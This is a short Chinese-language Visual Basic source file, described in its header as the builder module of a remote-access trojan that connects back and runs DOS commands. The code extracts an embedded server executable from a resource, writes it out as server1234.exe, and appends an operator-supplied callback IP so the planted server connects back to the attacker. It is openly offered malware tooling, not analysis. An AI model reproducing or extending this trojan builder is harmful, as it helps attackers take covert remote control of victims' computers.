配置服务信息模块.txt

VB 远程木马,反向连接,主控端可以生成有配置信息的服务端,可以执行DOS命令

Option Explicit
Const FILE_SIZE = 32768     '这是101号资源中的服务端文件1.exe的大小

Private Sub Command1_Click()
If Dir("server1234.exe") <> "" Then
MsgBox "服务端已存在！"
Exit Sub
Else
Dim App1() As Byte
App1 = LoadResData(101, "CUSTOM")   '如果为空,读取资源文件中的(101,"custom")字符串
Open "server1234.exe" For Binary As #1 '打开资源
Put #1, , App1                       '用二进制的方式写入数据
Close #1 '关闭 这里还要说明一下,这里所谓的打开并不是指运行,而是用二进制方式打开文件写入原始数据

'写入配置:

Dim server_filelengh, a As Long   '定义一个整型变量，作为服务端的长度
Dim config_url As String
config_url = Text1.Text '把文本框中的木马地址赋给config_url
Open "server1234.exe" For Binary As #1 '使用二进制的方式打开服务端
server_filelengh = FileLen("server1234.exe") + 1 '得到服务端文件的长度
Seek #1, server_filelengh '移动指针到服务端文件的末尾
Put #1, , config_url '写入配置
Close
End If
MsgBox "服务端反弹IP设置完毕！"
End Sub

Private Sub Command2_Click()
frmserver.Show
End Sub